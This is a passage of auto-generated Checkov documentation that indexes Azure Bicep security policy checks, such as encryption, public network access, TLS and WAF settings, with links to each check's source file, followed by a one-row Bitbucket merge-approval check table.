[AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKeyVaults.py) | | 101 | CKV_AZURE_88 | resource | Microsoft.Web/sites/config | Ensure that app services use Azure Files | Bicep | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceUsedAzureFiles.py) | | 102 | CKV_AZURE_89 | resource | Microsoft.Cache/redis | Ensure that Azure Cache for Redis disables public network access | Bicep | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/RedisCachePublicNetworkAccessEnabled.py) | | 103 | CKV_AZURE_92 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual Machines use managed disks | Bicep | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMStorageOsDisk.py) | | 104 | CKV_AZURE_93 | resource | Microsoft.Compute/disks | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption | Bicep | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiskEncryptionSet.py) | | 105 | CKV_AZURE_94 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure that My SQL server enables geo-redundant backups | Bicep | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLGeoBackupEnabled.py) | | 106 | CKV_AZURE_95 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets | Bicep | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMScaleSetsAutoOSImagePatchingEnabled.py) | | 107 | CKV_AZURE_96 | resource | Microsoft.DBforMySQL/flexibleServers | Ensure that MySQL server enables infrastructure encryption | Bicep | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLEncryptionEnabled.py) | | 108 | CKV_AZURE_97 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that Virtual machine scale sets have encryption at host enabled | Bicep | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py) | | 109 | CKV_AZURE_97 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual machine scale sets have encryption at host enabled | Bicep | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py) | | 110 | CKV_AZURE_99 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure Cosmos DB accounts have restricted access | Bicep | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBAccountsRestrictedAccess.py) | | 111 | CKV_AZURE_100 | resource | Microsoft.DocumentDb/databaseAccounts | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest | Bicep | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBHaveCMK.py) | | 112 | CKV_AZURE_101 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure that Azure Cosmos DB disables public network access | Bicep | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisablesPublicNetwork.py) | | 113 | CKV_AZURE_102 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server enables geo-redundant backups | Bicep | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgressSQLGeoBackupEnabled.py) | | 114 | CKV_AZURE_103 | resource | Microsoft.DataFactory/factories | Ensure that Azure Data Factory uses Git repository for source control | Bicep | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryUsesGitRepository.py) | | 115 | CKV_AZURE_104 | resource | Microsoft.DataFactory/factories | Ensure that Azure Data factory public network access is disabled | Bicep | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryNoPublicNetworkAccess.py) | | 116 | CKV_AZURE_105 | resource | Microsoft.DataLakeStore/accounts | Ensure that Data Lake Store accounts enables encryption | Bicep | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataLakeStoreEncryption.py) | | 117 | CKV_AZURE_107 | resource | Microsoft.ApiManagement/service | Ensure that API management services use virtual networks | Bicep | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIServicesUseVirtualNetwork.py) | | 118 | CKV_AZURE_109 | resource | Microsoft.KeyVault/vaults | Ensure that key vault allows firewall rules settings | Bicep | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesFirewallRulesSettings.py) | | 119 | CKV_AZURE_110 | resource | Microsoft.KeyVault/vaults | Ensure that key vault enables purge protection | Bicep | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesPurgeProtection.py) | | 120 | CKV_AZURE_111 | resource | Microsoft.KeyVault/vaults | Ensure that key vault enables soft delete | Bicep | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesSoftDelete.py) | | 121 | CKV_AZURE_112 | resource | Microsoft.KeyVault/vaults/keys | Ensure that key vault key is backed by HSM | Bicep | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyBackedByHSM.py) | | 122 | CKV_AZURE_113 | resource | Microsoft.Sql/servers | Ensure that SQL server disables public network access | Bicep | [SQLServerHasPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerHasPublicAccessDisabled.py) | | 123 | CKV_AZURE_114 | resource | Microsoft.KeyVault/vaults/secrets | Ensure that key vault secrets have "content_type" set | Bicep | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretContentType.py) | | 124 | CKV_AZURE_121 | resource | Microsoft.Network/frontDoors | Ensure that Azure Front Door enables WAF | Bicep | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFrontDoorEnablesWAF.py) | | 125 | CKV_AZURE_123 | resource | Microsoft.Network/FrontDoorWebApplicationFirewallPolicies | Ensure that Azure Front Door uses WAF in "Detection" or "Prevention" modes | Bicep | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontdoorUseWAFMode.py) | | 126 | CKV_AZURE_125 | resource | Microsoft.ServiceFabric/clusters | Ensures that Service Fabric use three levels of protection available | Bicep | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureServiceFabricClusterProtectionLevel.py) | | 127 | CKV_AZURE_129 | resource | Microsoft.DBforMariaDB/servers | Ensure that MariaDB server enables geo-redundant backups | Bicep | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBGeoBackupEnabled.py) | | 128 | CKV_AZURE_130 | resource | Microsoft.DBforPostgreSQL/servers | Ensure that PostgreSQL server enables infrastructure encryption | Bicep | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLEncryptionEnabled.py) | | 129 | CKV_AZURE_131 | parameter | string | SecureString parameter should not have hardcoded default values | Bicep | [SecureStringParameterNoHardcodedValue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/param/azure/SecureStringParameterNoHardcodedValue.py) | | 130 | CKV_AZURE_132 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes | Bicep | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisableAccessKeyWrite.py) | | 131 | CKV_AZURE_133 | resource | Microsoft.Network/frontdoorWebApplicationFirewallPolicies | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Bicep | [FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontDoorWAFACLCVE202144228.py) | | 132 | CKV_AZURE_134 | resource | Microsoft.CognitiveServices/accounts | Ensure that Cognitive Services accounts disable public network access | Bicep | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesDisablesPublicNetwork.py) | | 133 | CKV_AZURE_135 | resource | Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Bicep | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGatewayWAFACLCVE202144228.py) | | 134 | CKV_AZURE_137 | resource | Microsoft.ContainerRegistry/registries | Ensure ACR admin account is disabled | Bicep | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAdminAccountDisabled.py) | | 135 | CKV_AZURE_138 | resource | Microsoft.ContainerRegistry/registries | Ensures that ACR disables anonymous pulling of images | Bicep | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAnonymousPullDisabled.py) | | 136 | CKV_AZURE_139 | resource | Microsoft.ContainerRegistry/registries | Ensure ACR set to disable public networking | Bicep | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRPublicNetworkAccessDisabled.py) | | 137 | CKV_AZURE_140 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure that Local Authentication is disabled on CosmosDB | Bicep | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBLocalAuthDisabled.py) | | 138 | CKV_AZURE_141 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS local admin account is disabled | Bicep | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLocalAdminDisabled.py) | | 139 | CKV_AZURE_145 | resource | Microsoft.Web/sites | Ensure Function app is using the latest version of TLS encryption | Bicep | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py) | | 140 | CKV_AZURE_145 | resource | Microsoft.Web/sites/slots | Ensure Function app is using the latest version of TLS encryption | Bicep | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py) | | 141 | CKV_AZURE_149 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that Virtual machine does not enable password authentication | Bicep | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py) | | 142 | CKV_AZURE_149 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual machine does not enable password authentication | Bicep | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py) | | 143 | CKV_AZURE_151 | resource | Microsoft.Compute/virtualMachines | Ensure Windows VM enables encryption | Bicep | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMEncryptionAtHost.py) | | 144 | CKV_AZURE_153 | resource | Microsoft.Web/sites | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | Bicep | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py) | | 145 | CKV_AZURE_153 | resource | Microsoft.Web/sites/slots | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | Bicep | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py) | | 146 | CKV_AZURE_155 | resource | Microsoft.Web/sites | Ensure debugging is disabled for the App service slot | Bicep | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py) | | 147 | CKV_AZURE_155 | resource | Microsoft.Web/sites/slots | Ensure debugging is disabled for the App service slot | Bicep | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py) | | 148 | CKV_AZURE_157 | resource | Microsoft.Synapse/workspaces | Ensure that Synapse workspace has data_exfiltration_protection_enabled | Bicep | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesDataExfilProtection.py) | | 149 | CKV_AZURE_158 | resource | Microsoft.Databricks/workspaces | Ensure Databricks Workspace data plane to control plane communication happens over private link | Bicep | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceIsNotPublic.py) | | 150 | CKV_AZURE_160 | resource | Microsoft.Network/networkSecurityGroups | Ensure that HTTP (port 80) access is restricted from the internet | Bicep | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py) | | 151 | CKV_AZURE_160 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that HTTP (port 80) access is restricted from the internet | Bicep | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py) | | 152 | CKV_AZURE_163 | resource | Microsoft.ContainerRegistry/registries | Enable vulnerability scanning for container images. | Bicep | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRContainerScanEnabled.py) | | 153 | CKV_AZURE_166 | resource | Microsoft.ContainerRegistry/registries | Ensure container image quarantine, scan, and mark images verified | Bicep | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableImageQuarantine.py) | | 154 | CKV_AZURE_168 | resource | Microsoft.ContainerService/managedClusters | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | Bicep | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py) | | 155 | CKV_AZURE_168 | resource | Microsoft.ContainerService/managedClusters/agentPools | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | Bicep | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py) | | 156 | CKV_AZURE_169 | resource | Microsoft.ContainerService/managedClusters | Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets | Bicep | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSPoolTypeIsScaleSet.py) | | 157 | CKV_AZURE_171 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS cluster upgrade channel is chosen | Bicep | [AKSUpgradeChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSUpgradeChannel.py) | | 158 | CKV_AZURE_172 | resource | Microsoft.ContainerService/managedClusters | Ensure autorotation of Secrets Store CSI Driver secrets for AKS clusters | Bicep | [AkSSecretStoreRotation.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AkSSecretStoreRotation.py) | | 159 | CKV_AZURE_173 | resource | Microsoft.ApiManagement/service | Ensure API management uses at least TLS 1.2 | Bicep | [APIManagementMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementMinTLS12.py) | | 160 | CKV_AZURE_174 | resource | Microsoft.ApiManagement/service | Ensure API management public access is disabled | Bicep | [APIManagementPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIManagementPublicAccess.py) | | 161 | CKV_AZURE_175 | resource | Microsoft.SignalRService/webPubSub | Ensure Web PubSub uses a SKU with an SLA | Bicep | [PubsubSKUSLA.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSKUSLA.py) | | 162 | CKV_AZURE_176 | resource | Microsoft.SignalRService/webPubSub | Ensure Web PubSub uses managed identities to access Azure resources | Bicep | [PubsubSpecifyIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PubsubSpecifyIdentity.py) | | 163 | CKV_AZURE_177 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure Windows VM enables automatic updates | Bicep | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py) | | 164 | CKV_AZURE_177 | resource | Microsoft.Compute/virtualMachines | Ensure Windows VM enables automatic updates | Bicep | [WinVMAutomaticUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMAutomaticUpdates.py) | | 165 | CKV_AZURE_178 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure linux VM enables SSH with keys for secure communication | Bicep | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py) | | 166 | CKV_AZURE_178 | resource | Microsoft.Compute/virtualMachines | Ensure linux VM enables SSH with keys for secure communication | Bicep | [LinuxVMUsesSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/LinuxVMUsesSSH.py) | | 167 | CKV_AZURE_182 | resource | Microsoft.Network/networkInterfaces | Ensure that VNET has at least 2 connected DNS Endpoints | Bicep | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py) | | 168 | CKV_AZURE_182 | resource | Microsoft.Network/virtualNetworks | Ensure that VNET has at least 2 connected DNS Endpoints | Bicep | [VnetSingleDNSServer.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetSingleDNSServer.py) | | 169 | CKV_AZURE_183 | resource | Microsoft.Network/virtualNetworks | Ensure that VNET uses local DNS addresses | Bicep | [VnetLocalDNS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VnetLocalDNS.py) | | 170 | CKV_AZURE_189 | resource | Microsoft.KeyVault/vaults | Ensure that Azure Key Vault disables public network access | Bicep | [KeyVaultDisablesPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultDisablesPublicNetworkAccess.py) | | 171 | CKV_AZURE_191 | resource | Microsoft.EventGrid/topics | Ensure that Managed identity provider is enabled for Azure Event Grid Topic | Bicep | [EventgridTopicIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicIdentityProviderEnabled.py) | | 172 | CKV_AZURE_192 | resource | Microsoft.EventGrid/topics | Ensure that Azure Event Grid Topic local Authentication is disabled | Bicep | [EventgridTopicLocalAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicLocalAuthentication.py) | | 173 | CKV_AZURE_193 | resource | Microsoft.EventGrid/topics | Ensure public network access is disabled for Azure Event Grid Topic | Bicep | [EventgridTopicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventgridTopicNetworkAccess.py) | | 174 | CKV_AZURE_206 | resource | Microsoft.Storage/storageAccounts | Ensure that Storage Accounts use replication | Bicep | [StorageAccountsUseReplication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountsUseReplication.py) | | 175 | CKV_AZURE_208 | resource | Microsoft.Search/searchServices | Ensure that Azure Cognitive Search maintains SLA for index updates | Bicep | [AzureSearchSLAIndex.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAIndex.py) | | 176 | CKV_AZURE_209 | resource | Microsoft.Search/searchServices | Ensure that Azure Cognitive Search maintains SLA for search index queries | Bicep | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSearchSLAQueryUpdates.py) | | 177 | CKV_AZURE_212 | resource | Microsoft.Web/sites | Ensure App Service has a minimum number of instances for failover | Bicep | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py) | | 178 | CKV_AZURE_212 | resource | Microsoft.Web/sites/slots | Ensure App Service has a minimum number of instances for failover | Bicep | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py) | | 179 | CKV_AZURE_213 | resource | Microsoft.Web/sites | Ensure that App Service configures health check | Bicep | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py) | | 180 | CKV_AZURE_213 | resource | Microsoft.Web/sites/slots | Ensure that App Service configures health check | Bicep | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py) | | 181 | CKV_AZURE_216 | resource | Microsoft.Network/azureFirewalls | Ensure DenyIntelMode is set to Deny for Azure Firewalls | Bicep | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFirewallDenyThreatIntelMode.py) | | 182 | CKV_AZURE_218 | resource | Microsoft.Network/applicationGateways | Ensure Application Gateway defines secure protocols for in transit communication | Bicep | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGWDefinesSecureProtocols.py) | | 183 | CKV_AZURE_222 | resource | Microsoft.Web/sites | Ensure that Azure Web App public network access is disabled | Bicep | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 184 | CKV_AZURE_222 | resource | Microsoft.Web/sites/config | Ensure that Azure Web App public network access is disabled | Bicep | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 185 | CKV_AZURE_222 | resource | Microsoft.Web/sites/slots | Ensure that Azure Web App public network access is disabled | Bicep | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py) | | 186 | CKV_AZURE_223 | resource | Microsoft.EventHub/namespaces | Ensure Event Hub Namespace uses at least TLS 1.2 | Bicep | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventHubNamespaceMinTLS12.py) | | 187 | CKV_AZURE_225 | resource | Microsoft.Web/serverfarms | Ensure the App Service Plan is zone redundant | Bicep | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePlanZoneRedundant.py) | | 188 | CKV_AZURE_226 | resource | Microsoft.ContainerService/managedClusters | Ensure ephemeral disks are used for OS disks | Bicep | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEphemeralOSDisks.py) | | 189 | CKV_AZURE_227 | resource | Microsoft.ContainerService/managedClusters | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | Bicep | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py) | | 190 | CKV_AZURE_227 | resource | Microsoft.ContainerService/managedClusters/agentPools | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources | Bicep | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py) | | 191 | CKV_AZURE_229 | resource | Microsoft.Sql/servers/databases | Ensure the Azure SQL Database Namespace is zone redundant | Bicep | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLDatabaseZoneRedundant.py) | | 192 | CKV_AZURE_233 | resource | Microsoft.ContainerRegistry/registries | Ensure Azure Container Registry (ACR) is zone redundant | Bicep | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py) | | 193 | CKV_AZURE_233 | resource | Microsoft.ContainerRegistry/registries/replications | Ensure Azure Container Registry (ACR) is zone redundant | Bicep | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py) | | 194 | CKV_AZURE_236 | resource | Microsoft.CognitiveServices/accounts | Ensure that Cognitive Services accounts disable local authentication | Bicep | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesEnableLocalAuth.py) | | 195 | CKV_AZURE_238 | resource | Microsoft.CognitiveServices/accounts | Ensure that all Azure Cognitive Services accounts are configured with a managed identity | Bicep | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesConfigureIdentity.py) | | 196 | CKV_AZURE_239 | resource | Microsoft.Synapse/workspaces | Ensure Azure Synapse Workspace administrator login password is not exposed | Bicep | [SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceAdministratorLoginPasswordHidden.py) | | 197 | CKV_AZURE_240 | resource | Microsoft.Synapse/workspaces | Ensure Azure Synapse Workspace is encrypted with a CMK | Bicep | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceCMKEncryption.py) | | 198 | CKV_AZURE_242 | resource | Microsoft.Synapse/workspaces/bigDataPools | Ensure isolated compute is enabled for Synapse Spark pools | Bicep | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSparkPoolIsolatedComputeEnabled.py) | | 199 | CKV_AZURE_243 | resource | Microsoft.MachineLearningServices/workspaces | Ensure Azure Machine learning workspace is configured with private endpoint | Bicep | [AzureMLWorkspacePrivateEndpoint.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureMLWorkspacePrivateEndpoint.py) | | 200 | CKV_AZURE_248 | resource | Microsoft.Batch/batchAccounts | Ensure that if Azure Batch account public network access in case 'enabled' then its account access must be 'deny' | Bicep | [AzureBatchAccountEndpointAccessDefaultAction.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountEndpointAccessDefaultAction.py) | | 201 | CKV2_AZURE_19 | resource | Microsoft.Synapse/workspaces | Ensure that Azure Synapse workspaces have no IP firewall rules attached | Bicep | [AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached.py) | | 202 | CKV2_AZURE_27 | resource | Microsoft.Sql/servers | Ensure Azure AD authentication is enabled for Azure SQL (MSSQL) | Bicep | [SQLServerUsesADAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerUsesADAuth.py) | | 203 | CKV2_AZURE_46 | resource | Microsoft.Synapse/workspaces/vulnerabilityAssessments | Ensure that Azure Synapse Workspace vulnerability assessment is enabled | Bicep | [AzureSynapseWorkspaceVAisEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSynapseWorkspaceVAisEnabled.py) | | 204 | CKV2_AZURE_48 | resource | Microsoft.Databricks/workspaces | Ensure that Databricks Workspaces enables customer-managed key for root DBFS encryption | Bicep | [DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey.py) | --- ================================================ FILE: docs/5.Policy Index/bitbucket_configuration.md ================================================ --- layout: default title: bitbucket_configuration resource scans nav_order: 1 --- # bitbucket_configuration resource scans (auto generated) | | Id | Type | Entity | Policy | IaC | Resource Link | |----|-----------------|-------------------------|----------|----------------------------------------------------|-------------------------|---------------------------------------------------------------------------------------------------------------------------------------| | 0 | CKV_BITBUCKET_1 | bitbucket_configuration | * | Merge requests should require at least 2 approvals | bitbucket_configuration | [merge_requests_approvals.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bitbucket/checks/merge_requests_approvals.py) | --- 